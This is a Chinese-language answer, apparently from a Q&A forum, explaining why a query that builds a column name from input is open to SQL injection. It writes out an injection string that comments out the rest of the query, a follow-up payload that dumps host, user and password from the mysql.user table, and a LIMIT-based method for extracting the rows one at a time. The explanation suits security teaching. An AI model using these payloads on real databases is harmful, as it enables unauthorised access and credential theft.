不。这里没有足够的信息来认为代码对 SQL 注入是无懈可击的。
从查询中,我们看到执行它的函数期望返回四列,并且我们看到列的名称。(这些信息给了我们一个很大的开端。)
我们不确定该函数对返回的列数、列的名称和数据类型以及特定值有多挑剔。或将要获取的行数。(也许该函数只获取一行。)
如果我们知道该语句是这种形式...
SELECT `menu_id`
, `lang_**[the injected code starts here]**` AS lang
, age
, is_open
FROM `utf8_menu`
WHERE `age` = 503
AND `is_active`=1
ORDER BY `order`
我们第一次注入 SQL 可能是这样的:
foo` AS lang, 1 AS age, 1 AS is_open --
如果字符串值没有修改就被合并到 SQL 中,我们将得到以下形式的 SQL:
SELECT `menu_id`
, `lang_foo` AS lang
, 1 AS age
, 1 AS is_open -- ` AS lang ...
“破折号空格”之后的所有内容都将被视为注释。该函数可能会在名为lang_foo
. 如果幸运的话,该函数是按序号位置 (1,2,3,...) 而不是按列名来引用列。
因此,我们可能需要将“ foo
”更改为函数所期望的其他值。
如果该漏洞利用成功,那么它就是一个初始开放。我们可以尝试暴露一些信息。
我们也许可以从 mysql.user 表中获取一些信息......
SELECT `menu_id`
, `lang_foo` AS lang
, col3 AS `age`
, 1 AS `is_open`
FROM ( SELECT host AS menu_id
, user AS lang_foo
, password AS col3
FROM mysql.user
ORDER BY host, user
) -- ...
这取决于函数对返回值的作用;如果它把它放到一个网页上,我们就是黄金。
如果该函数只返回一行,我们将花费更多的精力来获取整个 mysql.user 表。
我们可以在LIMIT 0,1
第一次滑动,LIMIT 1,1
获得第二行......